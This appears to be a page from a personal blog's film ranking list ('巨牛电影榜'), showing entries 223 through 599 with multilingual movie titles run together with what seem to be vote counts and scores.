223Legally Blonde4790972
224Chocolat4554780
225Hitch4591675
226Mission: Impossible4538977
227Catch Me If You Can4441383
228Troy4503572
229The Bourne Supremacy4299884
230一个陌生女人的来信4396174
231无间道Ⅲ终极无间4382375
232Pretty Woman4322579
233The Others4248579
234Entrapment4261676
235Sleepy Hollow4227677
236逃學威龍4218972
237색즉시공4218372
238暗战4103382
239You've Got Mail4162976
240Moulin Rouge!4110779
241Ocean's Eleven4105078
242Cast Away4036283
243Sister Act4065080
244The Terminator4079778
245The Nightmare Before Christmas4023683
246Phone Booth4049579
247一个都不能少4117872
248X-Men4088874
249孔雀4038977
250Enemy at the Gates3957383
251101 Dalmatians4052973
252Tais-toi!3974279
253Chicken Run4007074
254The Mummy Returns3998473
255Final Destination 23995373
256不见不散3937177
257星願4009470
258The Sisterhood of the Traveling Pants3887676
259Fanfan3795481
260Constantine3847676
261Enemy of the State3804679
262빈집3773680
263Speed3783379
264Cube3760880
265The Piano3699381
266鹿鼎记II神龙教3753275
267苏州河3725376
268Twelve Monkeys3691079
269Cold Mountain3690778
270Jumanji3685378
271Tarzan3728374
272My Best Friend's Wedding3725374
273Natural Born Killers3614683
274Million Dollar Baby3561882
275The Bridges of Madison County3508784
276Men in Black II3590673
277The Last Emperor3459284
278Lolita3463178
279大红灯笼高高挂3425380
280올드보이3355084
281Beauty and the Beast3382781
282Saw II3395279
283Four Weddings and a Funeral3436375
284Reservoir Dogs3352482
285X23415574
286Shaun of the Dead3318679
287Resident Evil3325476
288The Italian Job3328675
289The Italian Job3328175
290我的父亲母亲3287676
291A Walk in the Clouds3245678
292有话好好说3244477
293Elephant3221879
294Banlieue 133207480
295American Pie3249673
296Kate & Leopold3209074
297Shakespeare in Love3203173
298心動3070881
299整蛊专家3130670
300红高粱2991181
301笑傲江湖Ⅱ东方不败3012179
302審死官3095771
303新扎师妹3045175
304呪怨3043373
305Bridget Jones: The Edge of Reason3037973
306リング2995575
307Minority Report2962175
308Heat2832984
309The Bodyguard2898078
310The Hours2826484
311方世玉2873276
312Air Force One2887174
313Hannibal2799980
314Un long dimanche de fiançailles2801179
315Ocean's Twelve2889970
31620 30 402864772
317Resident Evil: Apocalypse2827475
318我是谁2855771
319Underworld2821774
320Matchstick Men2720481
321Freaky Friday2798373
322The Lost World: Jurassic Park2756875
323賭聖2792071
324Home Alone 2: Lost in New York2721976
325玻璃之城2685679
326美少年之恋2749773
327平成狸合戦ぽんぽこ2641782
328Geri's Game2609484
329Serendipity2684876
330Van Helsing2705670
331시월애2564179
332家有喜事2537178
333枪火2470184
334The Transporter2608471
335世界の中心で、愛をさけぶ2515276
336The Devil's Advocate2443681
337Batman Begins2476278
338异度空间2526273
339蝴蝶2479376
340Starship Troopers2491374
341千年女優2369484
342黃飛鴻之三獅王爭霸2441576
343Alien2429177
344没完没了2471073
345The Machinist2392176
346夜半歌声2358878
347Liar Liar2375175
348A River Runs Through It2278483
349The Game2324578
350The Game2321478
351开往春天的地铁2401570
352The Hitchhiker's Guide to the Galaxy2270081
353Chicago2253582
354寻枪2304475
355忘不了2291576
35621 Grams2240780
357太極張三豐2319272
358黃飛鴻2262077
359Finding Neverland2226078
360Sense and Sensibility2180181
361旺角卡門2243175
362Original Sin2252174
363Apocalypse Now2151283
364Full Metal Jacket2128184
365麦兜,菠萝油王子2181179
366阿郎的故事2117984
367Taxi2165979
368Meet Joe Black2150278
369The School of Rock2155177
370The Talented Mr. Ripley2074882
371Rear Window2053283
3728月의 크리스마스2097578
373赌侠2157171
374Home Alone 32108375
375Back to the Future2013883
376Mona Lisa Smile2089376
377黃飛鴻之二男兒當自強2081476
378黑社会2088675
379태극기 휘날리며2017081
380倩女幽魂Ⅱ人间道2091374
381阮玲玉1988883
382我的兄弟姐妹2098272
383Goodfellas1967183
384Shark Tale2107470
385The Weather Man2035175
386堕落天使1993378
387The Negotiator1939082
388Eyes Wide Shut2027874
3898 Mile1969079
390Erin Brockovich1943981
391赌神1975877
392Snow White and the Seven Dwarfs1950279
393Broken Arrow2031971
394秋菊打官司1955176
395Training Day1925178
396和你在一起1948975
397红河谷1947675
398Red Dragon1931275
399My Fair Lady1873779
400Aladdin1871279
401新不了情1832682
402精武英雄1865979
403半生缘1905775
404Swordfish1921273
405鬼影1862178
406The Bone Collector1903274
407Star Wars: Episode I - The Phantom Menace1833779
408Primal Fear1797682
409Johnny English1882674
410Die Hard1815080
411The Last Samurai1867575
412紅番區1906871
413Star Wars: Episode III - Revenge of the Sith1803479
414金鸡1785080
415The Lion King II: Simba's Pride1823776
416暗花1733583
417洗澡1762780
418秋天的童話1727482
419和平饭店1789675
420Death on the Nile1688184
421Armageddon1764677
422Donnie Darko1771876
423キッズ・リターン1678684
424A计划1763875
425Gone in 60 Seconds1785673
426Bathing Beauty1652184
427Diarios de motocicleta1651584
428那山、那人、那狗1672882
429Mystic River1713878
430Jaws1735376
431The Little Mermaid1663881
432Raiders of the Lost Ark1681379
433我爱你1778070
434My Own Private Idaho1651981
435方世玉续集1725974
436英雄本色21654580
437Romeo + Juliet1730971
438男人四十1644278
439金枝玉叶1599081
440Mindhunters1654376
44137°2 le matin1597781
442Star Wars: Episode II - Attack of the Clones1628978
443Kramer vs. Kramer1557584
444白发魔女传1641475
445First Blood1572280
446Boys Don't Cry1554681
447红樱桃1620374
448Die Hard: With a Vengeance1575178
449장화, 홍련1628473
450中南海保镖1649771
451사마리아1588076
452黄河绝恋1607874
453新少林五祖1613073
454La pianiste1601774
455卡拉是条狗1643070
456大丈夫1587275
457Rebecca1509082
458金玉滿堂1563877
459Citizen Kane1484184
460Delicatessen1516781
461游园惊梦1593174
462Donnie Brasco1522780
463回魂夜1566675
464紫日1531778
465The Aviator1557875
466Peter Pan1493080
467Man on Fire1478781
468White Chicks1587071
469推手1444182
470Vanilla Sky1560971
471Somewhere in Time1475878
472Star Wars1430382
47328 Days Later...1536072
474The Age of Innocence1434981
47597家有喜事1523373
476Aliens1478277
477The Polar Express1510874
478倩女幽魂Ⅲ道道道1540171
479Lolita1459877
480Indiana Jones and the Last Crusade1399282
481Top Gun1476475
482Gangs of New York1495272
4831505871
484RoboCop1467174
485Secret Window1495271
486What Women Want1501670
487PTU1420877
488Amores perros1348383
489EuroTrip1475571
490Baby's Day Out1358981
491一声叹息1438672
492香港制造1335181
493Collateral1433172
494Sex, Lies, and Videotape1382276
495Die Hard 21367877
496Wall Street1322381
497Ju-on: The Grudge 21409472
498Murder on the Orient Express1279483
499A Lot Like Love1333578
500笑傲江湖1339077
501梁祝1360075
502あの夏、いちばん静かな海1276882
503Kingdom of Heaven1318978
504GoldenEye1357274
505The Patriot1290280
506雙龍會1371772
507Contact1224283
508Cleopatra1297776
509Dark City1264379
510Hide and Seek1325173
511The Thirteenth Floor1232181
512North by Northwest1228781
513监狱风云1245979
514The Passion of the Christ1263977
515Cinderella1229880
516Firelight1239979
517給爸爸的信1305373
518喋血双雄1203882
519A Room with a View1247478
520U-5711257777
521Jane Eyre1246278
522Back to the Future Part II1205381
523The Family Man1204481
524From Hell1280374
525顽主1201481
526没事偷着乐1290273
527Notre Dame de Paris1208180
528Die Another Day1308570
529爱情麻辣烫1248873
530古惑仔3之只手遮天1232474
531xXx1253572
532Star Wars: Episode V - The Empire Strikes Back1141582
533Tomorrow Never Dies1263671
534Det sjunde inseglet1116584
535Bitter Moon1160980
536Star Wars: Episode VI - Return of the Jedi1137282
537Cube Zero1256671
538蓝风筝1107884
539Seabiscuit1128582
540Wasabi1259370
541Lemony Snicket's A Series of Unfortunate Events1197775
542The Ninth Gate1226772
543Spellbound1101983
544The Exorcist1174476
545The Pink Panther1214472
546座頭市1143878
547Undo1197673
548宋家皇朝1148877
549연애소설1158675
550Alien³1190672
551Leaving Las Vegas1090181
552那时花开1208770
553榴梿飘飘1140176
554Raging Bull1047884
555Scarface1064882
556Robots1137975
557Ultimo tango a Parigi1144774
558Twister1166672
559刮痧1149873
560Back to the Future Part III1068080
561Jeanne d'Arc1122775
562飛鷹計劃1144373
563少林寺1075979
564Vertical Limit1105876
565Dumb & Dumber1149272
566Taxi 31137673
567The Fast and the Furious1122674
568The Wizard of Oz1054080
569鹬蚌相争1059179
570Frequency1046880
571Fahrenheit 9/111068278
572Der Untergang1001384
57397古惑仔战无不胜1112973
574见鬼1142170
575Indiana Jones and the Temple of Doom1052578
576Platoon1015981
577Pinocchio1025480
578滚滚红尘1014281
579Blue Velvet1069175
580Lust och fägring stor1102172
581巴尔扎克与小裁缝1088573
582恋愛寫眞1027678
583Road to Perdition1041576
584나쁜남자1051475
585失楽園1073173
586봄날은간다1004378
587少女小渔1001278
588杀手阿一1030875
589Dolls1017876
590Alien: Resurrection1037974
591Bad Boys1022474
592六楼后座1008675
593醉拳Ⅱ1010574
594The Texas Chainsaw Massacre1043770
595The World Is Not Enough1028471
5968MM1001173
597Tears of the Sun1018771
598Eraser1011171
599Sweet Home Alabama1019870

Continue reading 巨牛电影榜

Pagination


Total views.

© 2013 - 2019. All rights reserved.

Powered by Hydejack v6.6.1